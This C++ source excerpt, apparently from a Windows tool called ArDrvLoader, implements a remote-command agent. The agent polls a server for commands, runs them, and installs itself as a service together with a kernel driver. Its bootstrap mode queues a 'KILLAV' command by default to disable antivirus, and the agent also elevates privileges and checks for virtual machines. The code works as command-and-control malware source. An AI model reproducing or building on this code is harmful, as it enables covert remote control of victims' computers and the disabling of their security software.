static void RunLoop(const CloudConfig& cfg, HANDLE stopEvent = nullptr)
{
DWORD backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs;
while (true)
{
if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0)
break;
CloudCommand cmd;
if (PollCommand(cfg, cmd))
{
backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs;
// Re-delivery of something we already ran: acknowledge and move on.
if (!cmd.id.empty() && AlreadyExecuted(cmd.id))
{
AckCommand(cfg, cmd.id, L"OK (dup, not re-executed)");
if (SleepWithStop(250, stopEvent))
break;
continue;
}
std::wstring result;
bool stop = false;
ProcessCommand(cmd.text, result, stop);
RememberExecuted(cmd.id);
AckCommand(cfg, cmd.id, result);
if (stop)
break;
if (SleepWithStop(250, stopEvent))
break;
}
else
{
// Worker unreachable or queue empty: escalate the wait up to 15s.
if (SleepWithStop(Jitter(backoffMs), stopEvent))
break;
if (backoffMs < 15000)
{
backoffMs *= 2;
if (backoffMs > 15000)
backoffMs = 15000;
}
}
}
}
static bool ParseConfig(int argc, wchar_t** argv, CloudConfig& cfg)
{
std::wstring agent;
std::wstring url;
std::wstring secret;
std::wstring intervalS;
std::wstring startupFile;
std::wstring startupArgs;
std::wstring startupCommand;
bool haveStartDriver = false;
bool startDriver = true;
bool startupAsUser = false;
for (int i = 1; i < argc; ++i)
{
std::wstring a = argv[i];
if (a == L"--elevated")
{
cfg.elevatedRequested = true;
continue;
}
if (i + 1 < argc && a == L"--service-name")
{
g_serviceName = argv[++i];
continue;
}
if (a == L"--start-driver")
{
startDriver = true;
haveStartDriver = true;
continue;
}
if (a == L"--no-start-driver")
{
startDriver = false;
haveStartDriver = true;
continue;
}
if (a == L"--startup-user")
{
startupAsUser = true;
continue;
}
if (i + 1 < argc && a == L"--agent")
{
agent = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--url")
{
url = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--secret")
{
secret = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--interval")
{
intervalS = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--startup-file")
{
startupFile = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--startup-args")
{
startupArgs = argv[++i];
continue;
}
if (i + 1 < argc && a == L"--startup-command")
{
startupCommand = argv[++i];
continue;
}
if (a.empty() || a[0] == L'-')
continue;
if (agent.empty())
agent = a;
else if (url.empty())
url = a;
else if (secret.empty())
secret = a;
else if (intervalS.empty())
intervalS = a;
}
cfg.agent = agent.empty() ? ConfigValue(L"CA_AGENT_ID", L"AgentId", L"") : agent;
if (cfg.agent.empty())
cfg.agent = L"default";
cfg.url = url.empty() ? ConfigValue(L"CA_URL", L"Url", L"") : url;
if (!cfg.url.empty() && cfg.url.find(L"://") == std::wstring::npos)
cfg.url = L"https://" + cfg.url;
cfg.secret = secret.empty() ? ConfigValue(L"CA_SECRET", L"Secret", L"") : secret;
// Per-agent key issued by enrollment, stored next to the host tracking file.
if (cfg.secret.empty())
cfg.secret = ReadAgentKeyFile(cfg.agent);
std::wstring interval = intervalS.empty()
? ConfigValue(L"CA_INTERVAL", L"IntervalMs", L"")
: intervalS;
DWORD v = (DWORD)wcstoul(interval.c_str(), nullptr, 10);
cfg.intervalMs = (v >= 1000) ? v : 15000;
if (!haveStartDriver)
startDriver = ConfigBool(L"CA_START_DRIVER", L"StartDriver", true);
cfg.startDriver = startDriver;
cfg.startupFile = startupFile.empty()
? ConfigValue(L"CA_STARTUP_FILE", L"StartupFile", L"")
: startupFile;
cfg.startupArgs = startupArgs.empty()
? ConfigValue(L"CA_STARTUP_ARGS", L"StartupArgs", L"")
: startupArgs;
cfg.startupCommand = startupCommand.empty()
? ConfigValue(L"CA_STARTUP_COMMAND", L"StartupCommand", L"")
: startupCommand;
if (!startupAsUser)
startupAsUser = ConfigBool(L"CA_STARTUP_USER", L"StartupUser", false);
cfg.startupAsUser = startupAsUser;
return !cfg.url.empty() && !cfg.secret.empty();
}
static VOID WINAPI CloudServiceMain(DWORD argc, LPWSTR* argv)
{
(void)argc;
(void)argv;
g_serviceStatusHandle = RegisterServiceCtrlHandlerExW(
g_serviceName.c_str(),
ServiceCtrlHandler,
nullptr);
if (!g_serviceStatusHandle)
return;
g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_serviceStatus.dwCurrentState = SERVICE_START_PENDING;
g_serviceStatus.dwControlsAccepted = 0;
g_serviceStatus.dwWin32ExitCode = NO_ERROR;
g_serviceStatus.dwWaitHint = 5000;
g_serviceStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
if (!g_serviceStopEvent)
{
ReportServiceStatus(SERVICE_STOPPED, GetLastError());
return;
}
if (!g_serviceConfigValid)
{
Log(L"[-] Cloud service: invalid config");
CloseHandle(g_serviceStopEvent);
g_serviceStopEvent = nullptr;
ReportServiceStatus(SERVICE_STOPPED, ERROR_INVALID_PARAMETER);
return;
}
ReportServiceStatus(SERVICE_RUNNING);
Log(L"[cloud] service start agent=%s interval=%lu",
g_serviceConfig.agent.c_str(),
g_serviceConfig.intervalMs);
if (StartupActions(g_serviceConfig))
RunLoop(g_serviceConfig, g_serviceStopEvent);
ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
if (g_serviceStopEvent)
{
CloseHandle(g_serviceStopEvent);
g_serviceStopEvent = nullptr;
}
Log(L"[cloud] service stopped");
ReportServiceStatus(SERVICE_STOPPED);
}
int RunEnroll(int argc, wchar_t** argv)
{
std::wstring url;
std::wstring agent;
std::wstring enrollSecret;
for (int i = 2; i < argc; ++i)
{
std::wstring a = argv[i];
if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; }
if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; }
if (a == L"--enroll-secret" && i + 1 < argc) { enrollSecret = argv[++i]; continue; }
}
if (url.empty() || agent.empty() || enrollSecret.empty())
{
wprintf(L"Usage: ArDrvLoader.exe -enroll --url <worker> --agent <id> --enroll-secret <token> [--allow-vm]\n");
return 1;
}
if (url.find(L"://") == std::wstring::npos)
url = L"https://" + url;
while (!url.empty() && url.back() == L'/')
url.pop_back();
std::string body = "{\"agent\":\"" + Utf8(agent) + "\"}";
std::string response;
DWORD status = 0;
std::wstring headers = L"X-Enroll-Secret: " + enrollSecret + L"\r\n";
if (!HttpRequest(
L"POST",
url + L"/api/enroll",
L"api/enroll",
nullptr,
body,
response,
&status,
headers))
{
wprintf(L"ERR cannot reach %s\n", url.c_str());
return 1;
}
if (status != 200)
{
wprintf(L"ERR enroll refused (http %lu): %s\n", status, Utf16(response).c_str());
return 1;
}
std::wstring secret = JsonStringField(response, "secret");
if (secret.empty())
{
wprintf(L"ERR no secret in response: %s\n", Utf16(response).c_str());
return 1;
}
if (!WriteAgentKeyFile(agent, secret))
{
wprintf(L"ERR cannot write %s : %lu\n", AgentKeyPath(agent).c_str(), GetLastError());
return 1;
}
wprintf(L"OK agent=%s secret stored in %s\n", agent.c_str(), AgentKeyPath(agent).c_str());
return 0;
}
int RunBootstrap(int argc, wchar_t** argv)
{
std::wstring url;
std::wstring secret;
std::wstring operatorKey;
std::wstring agent;
std::wstring target = L"C:\\Windows\\System32\\notepad.exe";
bool killAv = true;
for (int i = 2; i < argc; ++i)
{
std::wstring a = argv[i];
if (a == L"--no-killav") { killAv = false; continue; }
if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; }
if (a == L"--secret" && i + 1 < argc) { secret = argv[++i]; continue; }
if (a == L"--operator-key" && i + 1 < argc) { operatorKey = argv[++i]; continue; }
if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; }
if (a == L"--target" && i + 1 < argc) { target = argv[++i]; continue; }
}
if (url.empty())
url = ARDRV_DEFAULT_URL;
if (operatorKey.empty())
operatorKey = ARDRV_DEFAULT_OPERATOR_KEY;
if (secret.empty())
secret = ARDRV_DEFAULT_SECRET;
if (agent.empty())
agent = ARDRV_DEFAULT_AGENT;
if (agent.empty())
{
wchar_t computer[64]{};
DWORD len = _countof(computer);
if (GetComputerNameW(computer, &len) && len > 0)
agent = computer;
else
agent = L"agent";
}
if (url.empty() || secret.empty() || operatorKey.empty())
{
wprintf(L"Usage: ArDrvLoader.exe -bootstrap --url <worker> --operator-key <key> [--secret <agent-key>] [--agent <id>] [--target <path>] [--no-killav]\n");
return 1;
}
if (url.find(L"://") == std::wstring::npos)
url = L"https://" + url;
while (!url.empty() && url.back() == L'/')
url.pop_back();
// 1. install: services + driver + cloud agent service, single elevated pass.
std::vector<std::wstring> install =
{
L"ArDrvLoader.exe",
L"-install-guard-services",
L"--target", target,
L"--allow-vm",
L"--cloud-url", url,
L"--cloud-secret", secret,
L"--cloud-agent", agent,
L"--cloud-service", L"CloudTest"
};
std::vector<wchar_t*> installArgv;
for (auto& s : install)
installArgv.push_back(const_cast<wchar_t*>(s.c_str()));
wprintf(L"[bootstrap] installing services and agent %s\n", agent.c_str());
int rc = InstallGuardServices((int)installArgv.size(), installArgv.data());
if (rc != 0)
{
wprintf(L"[bootstrap] install failed (%d)\n", rc);
return rc;
}
// 2. wait for the agent to register.
std::wstring headers = L"X-Operator-Key: " + operatorKey + L"\r\n";
std::wstring marker = L"\"id\":\"" + agent + L"\"";
bool online = false;
for (int i = 0; i < 60; ++i)
{
std::string response;
DWORD status = 0;
if (HttpRequest(L"GET", url + L"/api/agents", L"api/agents", nullptr, std::string(), response, &status, headers) &&
status == 200 &&
Utf16(response).find(marker) != std::wstring::npos)
{
online = true;
break;
}
Sleep(1000);
}
if (!online)
{
wprintf(L"[bootstrap] agent did not register within 60s\n");
return 2;
}
wprintf(L"[bootstrap] agent online\n");
if (!killAv)
{
wprintf(L"[bootstrap] AV sweep skipped\n");
return 0;
}
// 3. queue KILLAV through the server so it shows up as a command.
std::string body = "{\"agent\":\"" + Utf8(agent) + "\",\"text\":\"KILLAV\"}";
std::string response;
DWORD status = 0;
if (!HttpRequest(L"POST", url + L"/api/enqueue", L"api/enqueue", nullptr, body, response, &status, headers))
{
wprintf(L"[bootstrap] enqueue failed\n");
return 3;
}
std::wstring id = JsonStringField(response, "id");
if (id.empty())
{
wprintf(L"[bootstrap] enqueue rejected: %s\n", Utf16(response).c_str());
return 3;
}
wprintf(L"[bootstrap] KILLAV queued (%s), waiting\n", id.c_str());
// 4. wait for the result so the operator sees the outcome immediately.
for (int i = 0; i < 120; ++i)
{
Sleep(1000);
std::string poll;
DWORD pollStatus = 0;
if (!HttpRequest(L"GET", url + L"/api/command/" + id, L"api/command", nullptr, std::string(), poll, &pollStatus, headers))
continue;
std::wstring wide = Utf16(poll);
if (wide.find(L"\"state\":\"done\"") == std::wstring::npos &&
wide.find(L"\"state\":\"failed\"") == std::wstring::npos)
{
continue;
}
std::wstring result = JsonStringField(poll, "result");
wprintf(L"[bootstrap] KILLAV result:\n%s\n", result.empty() ? L"(no output)" : result.c_str());
return 0;
}
wprintf(L"[bootstrap] KILLAV still queued after 120s, check the panel\n");
return 0;
}
int RunCloudService(int argc, wchar_t** argv)
{
CloudConfig cfg;
g_allowVm = VmOverrideRequested(argc, argv);
g_serviceConfigValid = ParseConfig(argc, argv, cfg);
g_serviceConfig = cfg;
if (g_serviceName.empty())
g_serviceName = L"ArDrvAgent";
SERVICE_TABLE_ENTRYW table[] =
{
{ const_cast<LPWSTR>(g_serviceName.c_str()), CloudServiceMain },
{ nullptr, nullptr }
};
if (!StartServiceCtrlDispatcherW(table))
{
DWORD err = GetLastError();
if (err == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
{
wprintf(L"Cloud service must be started by the Service Control Manager.\n");
wprintf(L"Install it with: ArDrvLoader.exe -cloud-service --service-name <name>\n");
}
return (int)err;
}
return 0;
}
int RunCloudAgent(int argc, wchar_t** argv)
{
CloudConfig cfg;
g_allowVm = VmOverrideRequested(argc, argv);
if (!ParseConfig(argc, argv, cfg))
{
wprintf(L"Usage:\n");
wprintf(L" ArDrvLoader.exe -cloud [options] [agent] <url> <secret> [interval_ms]\n");
wprintf(L"\n");
wprintf(L"Named options:\n");
wprintf(L" --elevated force no UAC loop\n");
wprintf(L" --agent <id> agent id\n");
wprintf(L" --url <url> worker url\n");
wprintf(L" --secret <secret> secret\n");
wprintf(L" --interval <ms> poll interval\n");
wprintf(L" --start-driver load driver at startup\n");
wprintf(L" --no-start-driver do not load driver at startup\n");
wprintf(L" --startup-file <path> run file at startup\n");
wprintf(L" --startup-args <args> startup file args\n");
wprintf(L" --startup-command <cmd> run command at startup\n");
wprintf(L" --startup-user startup file in user session\n");
wprintf(L" --allow-vm run inside a virtual machine\n");
wprintf(L"\n");
wprintf(L"Environment / registry names:\n");
wprintf(L" CA_AGENT_ID / AgentId\n");
wprintf(L" CA_URL / Url\n");
wprintf(L" CA_SECRET / Secret\n");
wprintf(L" CA_INTERVAL / IntervalMs\n");
wprintf(L" CA_START_DRIVER / StartDriver\n");
wprintf(L" CA_STARTUP_FILE / StartupFile\n");
wprintf(L" CA_STARTUP_ARGS / StartupArgs\n");
wprintf(L" CA_STARTUP_COMMAND / StartupCommand\n");
wprintf(L" CA_STARTUP_USER / StartupUser\n");
return 1;
}
if (!EnsureAdminIfNeeded(argc, argv, cfg))
{
Log(L"[-] Cloud mode: elevation failed");
return 2;
}
g_activeCloudConfig = cfg;
Log(L"[cloud] starting agent=%s interval=%lu", cfg.agent.c_str(), cfg.intervalMs);
if (!StartupActions(cfg))
{
Log(L"[cloud] startup command requested stop");
return 0;
}
RunLoop(cfg);
Log(L"[cloud] stopped");
return 0;
}